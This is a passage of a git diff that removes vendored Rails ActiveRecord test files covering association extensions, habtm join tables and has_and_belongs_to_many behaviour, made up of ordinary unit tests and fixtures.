-      assert_equal expected, firm.account_using_primary_key
-    end
-  end
-
-  def test_include_has_one_using_primary_key
-    expected = Firm.find(1).account_using_primary_key
-    firm = Firm.find(:all, :include => :account_using_primary_key, :order => 'accounts.id').detect {|f| f.id == 1}
-    assert_no_queries do
-      assert_equal expected, firm.account_using_primary_key
-    end
-  end
-
-  def test_preloading_empty_polymorphic_parent
-    t = Tagging.create!(:taggable_type => 'Post', :taggable_id => Post.maximum(:id) + 1, :tag => tags(:general))
-
-    assert_queries(2) { @tagging = Tagging.find(t.id, :include => :taggable) }
-    assert_no_queries { assert ! @tagging.taggable }
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/extension_test.rb b/vendor/rails/activerecord/test/cases/associations/extension_test.rb
deleted file mode 100644
index 9390633d..00000000
--- a/vendor/rails/activerecord/test/cases/associations/extension_test.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/comment'
-require 'models/project'
-require 'models/developer'
-require 'models/company_in_module'
-
-class AssociationsExtensionsTest < ActiveRecord::TestCase
-  fixtures :projects, :developers, :developers_projects, :comments, :posts
-
-  def test_extension_on_has_many
-    assert_equal comments(:more_greetings), posts(:welcome).comments.find_most_recent
-  end
-
-  def test_extension_on_habtm
-    assert_equal projects(:action_controller), developers(:david).projects.find_most_recent
-  end
-
-  def test_named_extension_on_habtm
-    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name.find_most_recent
-  end
-
-  def test_named_two_extensions_on_habtm
-    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name_twice.find_most_recent
-    assert_equal projects(:active_record), developers(:david).projects_extended_by_name_twice.find_least_recent
-  end
-
-  def test_named_extension_and_block_on_habtm
-    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name_and_block.find_most_recent
-    assert_equal projects(:active_record), developers(:david).projects_extended_by_name_and_block.find_least_recent
-  end
-
-  def test_marshalling_extensions
-    david = developers(:david)
-    assert_equal projects(:action_controller), david.projects.find_most_recent
-
-    david = Marshal.load(Marshal.dump(david))
-    assert_equal projects(:action_controller), david.projects.find_most_recent
-  end
-
-  def test_marshalling_named_extensions
-    david = developers(:david)
-    assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
-
-    david = Marshal.load(Marshal.dump(david))
-    assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
-  end
-
-
-	def test_extension_name
-	  extension = Proc.new {}
-	  name = :association_name
-
-	  assert_equal 'DeveloperAssociationNameAssociationExtension', Developer.send(:create_extension_modules, name, extension, []).first.name
-	  assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension',
-MyApplication::Business::Developer.send(:create_extension_modules, name, extension, []).first.name
-    assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', MyApplication::Business::Developer.send(:create_extension_modules, name, extension, []).first.name
-    assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', MyApplication::Business::Developer.send(:create_extension_modules, name, extension, []).first.name
-  end
-
-
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/habtm_join_table_test.rb b/vendor/rails/activerecord/test/cases/associations/habtm_join_table_test.rb
deleted file mode 100644
index bf3e04c3..00000000
--- a/vendor/rails/activerecord/test/cases/associations/habtm_join_table_test.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-require 'cases/helper'
-
-class MyReader < ActiveRecord::Base
-  has_and_belongs_to_many :my_books
-end
-
-class MyBook < ActiveRecord::Base
-  has_and_belongs_to_many :my_readers
-end
-
-class HabtmJoinTableTest < ActiveRecord::TestCase
-  def setup
-    ActiveRecord::Base.connection.create_table :my_books, :force => true do |t|
-      t.string :name
-    end
-    assert ActiveRecord::Base.connection.table_exists?(:my_books)
-
-    ActiveRecord::Base.connection.create_table :my_readers, :force => true do |t|
-      t.string :name
-    end
-    assert ActiveRecord::Base.connection.table_exists?(:my_readers)
-
-    ActiveRecord::Base.connection.create_table :my_books_my_readers, :force => true do |t|
-      t.integer :my_book_id
-      t.integer :my_reader_id
-    end
-    assert ActiveRecord::Base.connection.table_exists?(:my_books_my_readers)
-  end
-
-  def teardown
-    ActiveRecord::Base.connection.drop_table :my_books
-    ActiveRecord::Base.connection.drop_table :my_readers
-    ActiveRecord::Base.connection.drop_table :my_books_my_readers
-  end
-
-  uses_transaction :test_should_raise_exception_when_join_table_has_a_primary_key
-  def test_should_raise_exception_when_join_table_has_a_primary_key
-    if ActiveRecord::Base.connection.supports_primary_key?
-      assert_raise ActiveRecord::ConfigurationError do
-        jaime = MyReader.create(:name=>"Jaime")
-        jaime.my_books << MyBook.create(:name=>'Great Expectations')
-      end
-    end
-  end
-
-  uses_transaction :test_should_cache_result_of_primary_key_check
-  def test_should_cache_result_of_primary_key_check
-    if ActiveRecord::Base.connection.supports_primary_key?
-      ActiveRecord::Base.connection.stubs(:primary_key).with('my_books_my_readers').returns(false).once
-      weaz = MyReader.create(:name=>'Weaz')
-
-      weaz.my_books << MyBook.create(:name=>'Great Expectations')
-      weaz.my_books << MyBook.create(:name=>'Greater Expectations')
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
deleted file mode 100644
index b252a54a..00000000
--- a/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ /dev/null
@@ -1,827 +0,0 @@
-require "cases/helper"
-require 'models/developer'
-require 'models/project'
-require 'models/company'
-require 'models/topic'
-require 'models/reply'
-require 'models/computer'
-require 'models/customer'
-require 'models/order'
-require 'models/categorization'
-require 'models/category'
-require 'models/post'
-require 'models/author'
-require 'models/comment'
-require 'models/tag'
-require 'models/tagging'
-require 'models/person'
-require 'models/reader'
-require 'models/parrot'
-require 'models/pirate'
-require 'models/treasure'
-require 'models/price_estimate'
-require 'models/club'
-require 'models/member'
-require 'models/membership'
-require 'models/sponsor'
-
-class ProjectWithAfterCreateHook < ActiveRecord::Base
-  set_table_name 'projects'
-  has_and_belongs_to_many :developers,
-    :class_name => "DeveloperForProjectWithAfterCreateHook",
-    :join_table => "developers_projects",
-    :foreign_key => "project_id",
-    :association_foreign_key => "developer_id"
-
-  after_create :add_david
-
-  def add_david
-    david = DeveloperForProjectWithAfterCreateHook.find_by_name('David')
-    david.projects << self
-  end
-end
-
-class DeveloperForProjectWithAfterCreateHook < ActiveRecord::Base
-  set_table_name 'developers'
-  has_and_belongs_to_many :projects,
-    :class_name => "ProjectWithAfterCreateHook",
-    :join_table => "developers_projects",
-    :association_foreign_key => "project_id",
-    :foreign_key => "developer_id"
-end
-
-class ProjectWithSymbolsForKeys < ActiveRecord::Base
-  set_table_name 'projects'
-  has_and_belongs_to_many :developers,
-    :class_name => "DeveloperWithSymbolsForKeys",
-    :join_table => :developers_projects,
-    :foreign_key => :project_id,
-    :association_foreign_key => "developer_id"
-end
-
-class DeveloperWithSymbolsForKeys < ActiveRecord::Base
-  set_table_name 'developers'
-  has_and_belongs_to_many :projects,
-    :class_name => "ProjectWithSymbolsForKeys",
-    :join_table => :developers_projects,
-    :association_foreign_key => :project_id,
-    :foreign_key => "developer_id"
-end
-
-class DeveloperWithCounterSQL < ActiveRecord::Base
-  set_table_name 'developers'
-  has_and_belongs_to_many :projects,
-    :class_name => "DeveloperWithCounterSQL",
-    :join_table => "developers_projects",
-    :association_foreign_key => "project_id",
-    :foreign_key => "developer_id",
-    :counter_sql => 'SELECT COUNT(*) AS count_all FROM projects INNER JOIN developers_projects ON projects.id = developers_projects.project_id WHERE developers_projects.developer_id =#{id}'
-end
-
-class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
-  fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
-           :parrots, :pirates, :treasures, :price_estimates, :tags, :taggings
-
-  def test_has_and_belongs_to_many
-    david = Developer.find(1)
-
-    assert !david.projects.empty?
-    assert_equal 2, david.projects.size
-
-    active_record = Project.find(1)
-    assert !active_record.developers.empty?
-    assert_equal 3, active_record.developers.size
-    assert active_record.developers.include?(david)
-  end
-
-  def test_triple_equality
-    assert !(Array === Developer.find(1).projects)
-    assert Developer.find(1).projects === Array
-  end
-
-  def test_adding_single
-    jamis = Developer.find(2)
-    jamis.projects.reload # causing the collection to load
-    action_controller = Project.find(2)
-    assert_equal 1, jamis.projects.size
-    assert_equal 1, action_controller.developers.size
-
-    jamis.projects << action_controller
-
-    assert_equal 2, jamis.projects.size
-    assert_equal 2, jamis.projects(true).size
-    assert_equal 2, action_controller.developers(true).size
-  end
-
-  def test_adding_type_mismatch
-    jamis = Developer.find(2)
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { jamis.projects << nil }
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { jamis.projects << 1 }
-  end
-
-  def test_adding_from_the_project
-    jamis = Developer.find(2)
-    action_controller = Project.find(2)
-    action_controller.developers.reload
-    assert_equal 1, jamis.projects.size
-    assert_equal 1, action_controller.developers.size
-
-    action_controller.developers << jamis
-
-    assert_equal 2, jamis.projects(true).size
-    assert_equal 2, action_controller.developers.size
-    assert_equal 2, action_controller.developers(true).size
-  end
-
-  def test_adding_from_the_project_fixed_timestamp
-    jamis = Developer.find(2)
-    action_controller = Project.find(2)
-    action_controller.developers.reload
-    assert_equal 1, jamis.projects.size
-    assert_equal 1, action_controller.developers.size
-    updated_at = jamis.updated_at
-
-    action_controller.developers << jamis
-
-    assert_equal updated_at, jamis.updated_at
-    assert_equal 2, jamis.projects(true).size
-    assert_equal 2, action_controller.developers.size
-    assert_equal 2, action_controller.developers(true).size
-  end
-
-  def test_adding_multiple
-    aredridel = Developer.new("name" => "Aredridel")
-    aredridel.save
-    aredridel.projects.reload
-    aredridel.projects.push(Project.find(1), Project.find(2))
-    assert_equal 2, aredridel.projects.size
-    assert_equal 2, aredridel.projects(true).size
-  end
-
-  def test_adding_a_collection
-    aredridel = Developer.new("name" => "Aredridel")
-    aredridel.save
-    aredridel.projects.reload
-    aredridel.projects.concat([Project.find(1), Project.find(2)])
-    assert_equal 2, aredridel.projects.size
-    assert_equal 2, aredridel.projects(true).size
-  end
-
-  def test_adding_uses_default_values_on_join_table
-    ac = projects(:action_controller)
-    assert !developers(:jamis).projects.include?(ac)
-    developers(:jamis).projects << ac
-
-    assert developers(:jamis, :reload).projects.include?(ac)
-    project = developers(:jamis).projects.detect { |p| p == ac }
-    assert_equal 1, project.access_level.to_i
-  end
-
-  def test_habtm_attribute_access_and_respond_to
-    project = developers(:jamis).projects[0]
-    assert project.has_attribute?("name")
-    assert project.has_attribute?("joined_on")
-    assert project.has_attribute?("access_level")
-    assert project.respond_to?("name")
-    assert project.respond_to?("name=")
-    assert project.respond_to?("name?")
-    assert project.respond_to?("joined_on")
-    # given that the 'join attribute' won't be persisted, I don't
-    # think we should define the mutators
-    #assert project.respond_to?("joined_on=")
-    assert project.respond_to?("joined_on?")
-    assert project.respond_to?("access_level")
-    #assert project.respond_to?("access_level=")
-    assert project.respond_to?("access_level?")
-  end
-
-  def test_habtm_adding_before_save
-    no_of_devels = Developer.count
-    no_of_projects = Project.count
-    aredridel = Developer.new("name" => "Aredridel")
-    aredridel.projects.concat([Project.find(1), p = Project.new("name" => "Projekt")])
-    assert aredridel.new_record?
-    assert p.new_record?
-    assert aredridel.save
-    assert !aredridel.new_record?
-    assert_equal no_of_devels+1, Developer.count
-    assert_equal no_of_projects+1, Project.count
-    assert_equal 2, aredridel.projects.size
-    assert_equal 2, aredridel.projects(true).size
-  end
-
-  def test_habtm_saving_multiple_relationships
-    new_project = Project.new("name" => "Grimetime")
-    amount_of_developers = 4
-    developers = (0...amount_of_developers).collect {|i| Developer.create(:name => "JME #{i}") }.reverse
-
-    new_project.developer_ids = [developers[0].id, developers[1].id]
-    new_project.developers_with_callback_ids = [developers[2].id, developers[3].id]
-    assert new_project.save
-
-    new_project.reload
-    assert_equal amount_of_developers, new_project.developers.size
-    assert_equal developers, new_project.developers
-  end
-
-  def test_habtm_unique_order_preserved
-    assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).non_unique_developers
-    assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).developers
-  end
-
-  def test_build
-    devel = Developer.find(1)
-    proj = assert_no_queries { devel.projects.build("name" => "Projekt") }
-    assert !devel.projects.loaded?
-
-    assert_equal devel.projects.last, proj
-    assert devel.projects.loaded?
-
-    assert proj.new_record?
-    devel.save
-    assert !proj.new_record?
-    assert_equal devel.projects.last, proj
-    assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
-  end
-
-  def test_build_by_new_record
-    devel = Developer.new(:name => "Marcel", :salary => 75000)
-    proj1 = devel.projects.build(:name => "Make bed")
-    proj2 = devel.projects.build(:name => "Lie in it")
-    assert_equal devel.projects.last, proj2
-    assert proj2.new_record?
-    devel.save
-    assert !devel.new_record?
-    assert !proj2.new_record?
-    assert_equal devel.projects.last, proj2
-    assert_equal Developer.find_by_name("Marcel").projects.last, proj2  # prove join table is updated
-  end
-
-  def test_create
-    devel = Developer.find(1)
-    proj = devel.projects.create("name" => "Projekt")
-    assert !devel.projects.loaded?
-
-    assert_equal devel.projects.last, proj
-    assert !devel.projects.loaded?
-
-    assert !proj.new_record?
-    assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
-  end
-
-  def test_create_by_new_record
-    devel = Developer.new(:name => "Marcel", :salary => 75000)
-    proj1 = devel.projects.build(:name => "Make bed")
-    proj2 = devel.projects.build(:name => "Lie in it")
-    assert_equal devel.projects.last, proj2
-    assert proj2.new_record?
-    devel.save
-    assert !devel.new_record?
-    assert !proj2.new_record?
-    assert_equal devel.projects.last, proj2
-    assert_equal Developer.find_by_name("Marcel").projects.last, proj2  # prove join table is updated
-  end
-
-  def test_creation_respects_hash_condition
-    post = categories(:general).post_with_conditions.build(:body => '')
-
-    assert        post.save
-    assert_equal  'Yet Another Testing Title', post.title
-
-    another_post = categories(:general).post_with_conditions.create(:body => '')
-
-    assert        !another_post.new_record?
-    assert_equal  'Yet Another Testing Title', another_post.title
-  end
-
-  def test_uniq_after_the_fact
-    dev = developers(:jamis)
-    dev.projects << projects(:active_record)
-    dev.projects << projects(:active_record)
-
-    assert_equal 3, dev.projects.size
-    assert_equal 1, dev.projects.uniq.size
-  end
-
-  def test_uniq_before_the_fact
-    projects(:active_record).developers << developers(:jamis)
-    projects(:active_record).developers << developers(:david)
-    assert_equal 3, projects(:active_record, :reload).developers.size
-  end
-
-  def test_uniq_option_prevents_duplicate_push
-    project = projects(:active_record)
-    project.developers << developers(:jamis)
-    project.developers << developers(:david)
-    assert_equal 3, project.developers.size
-
-    project.developers << developers(:david)
-    project.developers << developers(:jamis)
-    assert_equal 3, project.developers.size
-  end
-
-  def test_deleting
-    david = Developer.find(1)
-    active_record = Project.find(1)
-    david.projects.reload
-    assert_equal 2, david.projects.size
-    assert_equal 3, active_record.developers.size
-
-    david.projects.delete(active_record)
-
-    assert_equal 1, david.projects.size
-    assert_equal 1, david.projects(true).size
-    assert_equal 2, active_record.developers(true).size
-  end
-
-  def test_deleting_array
-    david = Developer.find(1)
-    david.projects.reload
-    david.projects.delete(Project.find(:all))
-    assert_equal 0, david.projects.size
-    assert_equal 0, david.projects(true).size
-  end
-
-  def test_deleting_with_sql
-    david = Developer.find(1)
-    active_record = Project.find(1)
-    active_record.developers.reload
-    assert_equal 3, active_record.developers_by_sql.size
-
-    active_record.developers_by_sql.delete(david)
-    assert_equal 2, active_record.developers_by_sql(true).size
-  end
-
-  def test_deleting_array_with_sql
-    active_record = Project.find(1)
-    active_record.developers.reload
-    assert_equal 3, active_record.developers_by_sql.size
-
-    active_record.developers_by_sql.delete(Developer.find(:all))
-    assert_equal 0, active_record.developers_by_sql(true).size
-  end
-
-  def test_deleting_all
-    david = Developer.find(1)
-    david.projects.reload
-    david.projects.clear
-    assert_equal 0, david.projects.size
-    assert_equal 0, david.projects(true).size
-  end
-
-  def test_removing_associations_on_destroy
-    david = DeveloperWithBeforeDestroyRaise.find(1)
-    assert !david.projects.empty?
-    assert_nothing_raised { david.destroy }
-    assert david.projects.empty?
-    assert DeveloperWithBeforeDestroyRaise.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = 1").empty?
-  end
-
-  def test_additional_columns_from_join_table
-    assert_date_from_db Date.new(2004, 10, 10), Developer.find(1).projects.first.joined_on.to_date
-  end
-
-  def test_destroying
-    david = Developer.find(1)
-    active_record = Project.find(1)
-    david.projects.reload
-    assert_equal 2, david.projects.size
-    assert_equal 3, active_record.developers.size
-
-    assert_difference "Project.count", -1 do
-      david.projects.destroy(active_record)
-    end
-
-    assert_equal 1, david.reload.projects.size
-    assert_equal 1, david.projects(true).size
-  end
-
-  def test_destroying_array
-    david = Developer.find(1)
-    david.projects.reload
-
-    assert_difference "Project.count", -Project.count do
-      david.projects.destroy(Project.find(:all))
-    end
-
-    assert_equal 0, david.reload.projects.size
-    assert_equal 0, david.projects(true).size
-  end
-
-  def test_destroy_all
-    david = Developer.find(1)
-    david.projects.reload
-    assert !david.projects.empty?
-    david.projects.destroy_all
-    assert david.projects.empty?
-    assert david.projects(true).empty?
-  end
-
-  def test_deprecated_push_with_attributes_was_removed
-    jamis = developers(:jamis)
-    assert_raise(NoMethodError) do
-      jamis.projects.push_with_attributes(projects(:action_controller), :joined_on => Date.today)
-    end
-  end
-
-  def test_associations_with_conditions
-    assert_equal 3, projects(:active_record).developers.size
-    assert_equal 1, projects(:active_record).developers_named_david.size
-    assert_equal 1, projects(:active_record).developers_named_david_with_hash_conditions.size
-
-    assert_equal developers(:david), projects(:active_record).developers_named_david.find(developers(:david).id)
-    assert_equal developers(:david), projects(:active_record).developers_named_david_with_hash_conditions.find(developers(:david).id)
-    assert_equal developers(:david), projects(:active_record).salaried_developers.find(developers(:david).id)
-
-    projects(:active_record).developers_named_david.clear
-    assert_equal 2, projects(:active_record, :reload).developers.size
-  end
-
-  def test_find_in_association
-    # Using sql
-    assert_equal developers(:david), projects(:active_record).developers.find(developers(:david).id), "SQL find"
-
-    # Using ruby
-    active_record = projects(:active_record)
-    active_record.developers.reload
-    assert_equal developers(:david), active_record.developers.find(developers(:david).id), "Ruby find"
-  end
-
-  def test_include_uses_array_include_after_loaded
-    project = projects(:active_record)
-    project.developers.class # force load target
-
-    developer = project.developers.first
-
-    assert_no_queries do
-      assert project.developers.loaded?
-      assert project.developers.include?(developer)
-    end
-  end
-
-  def test_include_checks_if_record_exists_if_target_not_loaded
-    project = projects(:active_record)
-    developer = project.developers.first
-
-    project.reload
-    assert ! project.developers.loaded?
-    assert_queries(1) do
-      assert project.developers.include?(developer)
-    end
-    assert ! project.developers.loaded?
-  end
-
-  def test_include_returns_false_for_non_matching_record_to_verify_scoping
-    project = projects(:active_record)
-    developer = Developer.create :name => "Bryan", :salary => 50_000
-
-    assert ! project.developers.loaded?
-    assert ! project.developers.include?(developer)
-  end
-
-  def test_find_in_association_with_custom_finder_sql
-    assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id), "SQL find"
-
-    active_record = projects(:active_record)
-    active_record.developers_with_finder_sql.reload
-    assert_equal developers(:david), active_record.developers_with_finder_sql.find(developers(:david).id), "Ruby find"
-  end
-
-  def test_find_in_association_with_custom_finder_sql_and_multiple_interpolations
-    # interpolate once:
-    assert_equal [developers(:david), developers(:jamis), developers(:poor_jamis)], projects(:active_record).developers_with_finder_sql, "first interpolation"
-    # interpolate again, for a different project id
-    assert_equal [developers(:david)], projects(:action_controller).developers_with_finder_sql, "second interpolation"
-  end
-
-  def test_find_in_association_with_custom_finder_sql_and_string_id
-    assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id.to_s), "SQL find"
-  end
-
-  def test_find_with_merged_options
-    assert_equal 1, projects(:active_record).limited_developers.size
-    assert_equal 1, projects(:active_record).limited_developers.find(:all).size
-    assert_equal 3, projects(:active_record).limited_developers.find(:all, :limit => nil).size
-  end
-
-  def test_dynamic_find_should_respect_association_order
-    # Developers are ordered 'name DESC, id DESC'
-    low_id_jamis = developers(:jamis)
-    middle_id_jamis = developers(:poor_jamis)
-    high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
-
-    assert_equal high_id_jamis, projects(:active_record).developers.find(:first, :conditions => "name = 'Jamis'")
-    assert_equal high_id_jamis, projects(:active_record).developers.find_by_name('Jamis')
-  end
-
-  def test_dynamic_find_order_should_override_association_order
-    # Developers are ordered 'name DESC, id DESC'
-    low_id_jamis = developers(:jamis)
-    middle_id_jamis = developers(:poor_jamis)
-    high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
-
-    assert_equal low_id_jamis, projects(:active_record).developers.find(:first, :conditions => "name = 'Jamis'", :order => 'id')
-    assert_equal low_id_jamis, projects(:active_record).developers.find_by_name('Jamis', :order => 'id')
-  end
-
-  def test_dynamic_find_all_should_respect_association_order
-    # Developers are ordered 'name DESC, id DESC'
-    low_id_jamis = developers(:jamis)
-    middle_id_jamis = developers(:poor_jamis)
-    high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
-
-    assert_equal [high_id_jamis, middle_id_jamis, low_id_jamis], projects(:active_record).developers.find(:all, :conditions => "name = 'Jamis'")
-    assert_equal [high_id_jamis, middle_id_jamis, low_id_jamis], projects(:active_record).developers.find_all_by_name('Jamis')
-  end
-
-  def test_dynamic_find_all_order_should_override_association_order
-    # Developers are ordered 'name DESC, id DESC'
-    low_id_jamis = developers(:jamis)
-    middle_id_jamis = developers(:poor_jamis)
-    high_id_jamis = projects(:active_record).developers.create(:name => 'Jamis')
-
-    assert_equal [low_id_jamis, middle_id_jamis, high_id_jamis], projects(:active_record).developers.find(:all, :conditions => "name = 'Jamis'", :order => 'id')
-    assert_equal [low_id_jamis, middle_id_jamis, high_id_jamis], projects(:active_record).developers.find_all_by_name('Jamis', :order => 'id')
-  end
-
-  def test_dynamic_find_all_should_respect_association_limit
-    assert_equal 1, projects(:active_record).limited_developers.find(:all, :conditions => "name = 'Jamis'").length
-    assert_equal 1, projects(:active_record).limited_developers.find_all_by_name('Jamis').length
-  end
-
-  def test_dynamic_find_all_order_should_override_association_limit
-    assert_equal 2, projects(:active_record).limited_developers.find(:all, :conditions => "name = 'Jamis'", :limit => 9_000).length
-    assert_equal 2, projects(:active_record).limited_developers.find_all_by_name('Jamis', :limit => 9_000).length
-  end
-
-  def test_dynamic_find_all_should_respect_readonly_access
-    projects(:active_record).readonly_developers.each { |d| assert_raise(ActiveRecord::ReadOnlyRecord) { d.save!  } if d.valid?}
-    projects(:active_record).readonly_developers.each { |d| d.readonly? }
-  end
-
-  def test_new_with_values_in_collection
-    jamis = DeveloperForProjectWithAfterCreateHook.find_by_name('Jamis')
-    david = DeveloperForProjectWithAfterCreateHook.find_by_name('David')
-    project = ProjectWithAfterCreateHook.new(:name => "Cooking with Bertie")
-    project.developers << jamis
-    project.save!
-    project.reload
-
-    assert project.developers.include?(jamis)
-    assert project.developers.include?(david)
-  end
-
-  def test_find_in_association_with_options
-    developers = projects(:active_record).developers.find(:all)
-    assert_equal 3, developers.size
-
-    assert_equal developers(:poor_jamis), projects(:active_record).developers.find(:first, :conditions => "salary < 10000")
-    assert_equal developers(:jamis),      projects(:active_record).developers.find(:first, :order => "salary DESC")
-  end
-
-  def test_replace_with_less
-    david = developers(:david)
-    david.projects = [projects(:action_controller)]
-    assert david.save
-    assert_equal 1, david.projects.length
-  end
-
-  def test_replace_with_new
-    david = developers(:david)
-    david.projects = [projects(:action_controller), Project.new("name" => "ActionWebSearch")]
-    david.save
-    assert_equal 2, david.projects.length
-    assert !david.projects.include?(projects(:active_record))
-  end
-
-  def test_replace_on_new_object
-    new_developer = Developer.new("name" => "Matz")
-    new_developer.projects = [projects(:action_controller), Project.new("name" => "ActionWebSearch")]
-    new_developer.save
-    assert_equal 2, new_developer.projects.length
-  end
-
-  def test_consider_type
-    developer = Developer.find(:first)
-    special_project = SpecialProject.create("name" => "Special Project")
-
-    other_project = developer.projects.first
-    developer.special_projects << special_project
-    developer.reload
-
-    assert developer.projects.include?(special_project)
-    assert developer.special_projects.include?(special_project)
-    assert !developer.special_projects.include?(other_project)
-  end
-
-  def test_update_attributes_after_push_without_duplicate_join_table_rows
-    developer = Developer.new("name" => "Kano")
-    project = SpecialProject.create("name" => "Special Project")
-    assert developer.save
-    developer.projects << project
-    developer.update_attribute("name", "Bruza")
-    assert_equal 1, Developer.connection.select_value(<<-end_sql).to_i
-      SELECT count(*) FROM developers_projects
-      WHERE project_id = #{project.id}
-      AND developer_id = #{developer.id}
-    end_sql
-  end
-
-  def test_updating_attributes_on_non_rich_associations
-    welcome = categories(:technology).posts.first
-    welcome.title = "Something else"
-    assert welcome.save!
-  end
-
-  def test_habtm_respects_select
-    categories(:technology).select_testing_posts(true).each do |o|
-      assert_respond_to o, :correctness_marker
-    end
-    assert_respond_to categories(:technology).select_testing_posts.find(:first), :correctness_marker
-  end
-
-  def test_updating_attributes_on_rich_associations
-    david = projects(:action_controller).developers.first
-    david.name = "DHH"
-    assert_raise(ActiveRecord::ReadOnlyRecord) { david.save! }
-  end
-
-  def test_updating_attributes_on_rich_associations_with_limited_find_from_reflection
-    david = projects(:action_controller).selected_developers.first
-    david.name = "DHH"
-    assert_nothing_raised { david.save! }
-  end
-
-
-  def test_updating_attributes_on_rich_associations_with_limited_find
-    david = projects(:action_controller).developers.find(:all, :select => "developers.*").first
-    david.name = "DHH"
-    assert david.save!
-  end
-
-  def test_join_table_alias
-    assert_equal 3, Developer.find(:all, :include => {:projects => :developers}, :conditions => 'developers_projects_join.joined_on IS NOT NULL').size
-  end
-
-  def test_join_with_group
-    group = Developer.columns.inject([]) do |g, c|
-      g << "developers.#{c.name}"
-      g << "developers_projects_2.#{c.name}"
-    end
-    Project.columns.each { |c| group << "projects.#{c.name}" }
-
-    assert_equal 3, Developer.find(:all, :include => {:projects => :developers}, :conditions => 'developers_projects_join.joined_on IS NOT NULL', :group => group.join(",")).size
-  end
-
-  def test_find_grouped
-    all_posts_from_category1 = Post.find(:all, :conditions => "category_id = 1", :joins => :categories)
-    grouped_posts_of_category1 = Post.find(:all, :conditions => "category_id = 1", :group => "author_id", :select => 'count(posts.id) as posts_count', :joins => :categories)
-    assert_equal 4, all_posts_from_category1.size
-    assert_equal 1, grouped_posts_of_category1.size
-  end
-
-  def test_find_scoped_grouped
-    assert_equal 4, categories(:general).posts_gruoped_by_title.size
-    assert_equal 1, categories(:technology).posts_gruoped_by_title.size
-  end
-
-  def test_find_scoped_grouped_having
-    assert_equal 2, projects(:active_record).well_payed_salary_groups.size
-    assert projects(:active_record).well_payed_salary_groups.all? { |g| g.salary > 10000 }
-  end
-
-  def test_get_ids
-    assert_equal projects(:active_record, :action_controller).map(&:id).sort, developers(:david).project_ids.sort
-    assert_equal [projects(:active_record).id], developers(:jamis).project_ids
-  end
-
-  def test_get_ids_for_loaded_associations
-    developer = developers(:david)
-    developer.projects(true)
-    assert_queries(0) do
-      developer.project_ids
-      developer.project_ids
-    end
-  end
-
-  def test_get_ids_for_unloaded_associations_does_not_load_them
-    developer = developers(:david)
-    assert !developer.projects.loaded?
-    assert_equal projects(:active_record, :action_controller).map(&:id).sort, developer.project_ids.sort
-    assert !developer.projects.loaded?
-  end
-
-  def test_assign_ids
-    developer = Developer.new("name" => "Joe")
-    developer.project_ids = projects(:active_record, :action_controller).map(&:id)
-    developer.save
-    developer.reload
-    assert_equal 2, developer.projects.length
-    assert_equal [projects(:active_record), projects(:action_controller)].map(&:id).sort, developer.project_ids.sort
-  end
-
-  def test_assign_ids_ignoring_blanks
-    developer = Developer.new("name" => "Joe")
-    developer.project_ids = [projects(:active_record).id, nil, projects(:action_controller).id, '']
-    developer.save
-    developer.reload
-    assert_equal 2, developer.projects.length
-    assert_equal [projects(:active_record), projects(:action_controller)].map(&:id).sort, developer.project_ids.sort
-  end
-
-  def test_select_limited_ids_list
-    # Set timestamps
-    Developer.transaction do
-      Developer.find(:all, :order => 'id').each_with_index do |record, i|
-        record.update_attributes(:created_at => 5.years.ago + (i * 5.minutes))
-      end
-    end
-
-    join_base = ActiveRecord::Associations::ClassMethods::JoinDependency::JoinBase.new(Project)
-    join_dep  = ActiveRecord::Associations::ClassMethods::JoinDependency.new(join_base, :developers, nil)
-    projects  = Project.send(:select_limited_ids_list, {:order => 'developers.created_at'}, join_dep)
-    assert !projects.include?("'"), projects
-    assert_equal %w(1 2), projects.scan(/\d/).sort
-  end
-
-  def test_scoped_find_on_through_association_doesnt_return_read_only_records
-    tag = Post.find(1).tags.find_by_name("General")
-
-    assert_nothing_raised do
-      tag.save!
-    end
-  end
-
-  def test_has_many_through_polymorphic_has_manys_works
-    assert_equal [10, 20].to_set, pirates(:redbeard).treasure_estimates.map(&:price).to_set
-  end
-
-  def test_symbols_as_keys
-    developer = DeveloperWithSymbolsForKeys.new(:name => 'David')
-    project = ProjectWithSymbolsForKeys.new(:name => 'Rails Testing')
-    project.developers << developer
-    project.save!
-
-    assert_equal 1, project.developers.size
-    assert_equal 1, developer.projects.size
-    assert_equal developer, project.developers.find(:first)
-    assert_equal project, developer.projects.find(:first)
-  end
-  
-  def test_self_referential_habtm_without_foreign_key_set_should_raise_exception
-    assert_raise(ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded) {
-      Member.class_eval do
-        has_and_belongs_to_many :friends, :class_name => "Member", :join_table => "member_friends"
-      end
-    }
-  end
-
-  def test_dynamic_find_should_respect_association_include
-    # SQL error in sort clause if :include is not included
-    # due to Unknown column 'authors.id'
